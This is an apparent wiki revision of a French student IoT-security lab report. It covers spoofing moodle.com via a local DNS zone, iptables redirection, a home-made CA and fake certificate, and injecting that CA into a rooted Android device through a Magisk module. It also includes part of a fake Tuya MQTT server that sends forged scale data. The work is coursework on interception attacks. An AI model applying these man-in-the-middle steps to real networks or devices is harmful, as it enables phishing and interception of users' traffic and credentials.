    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;✅ TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;🚀 POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;ℹ️ MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;❌ Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10939</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10939"/>
		<updated>2025-12-16T14:47:25Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Envoi de fausses informations vers l'application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
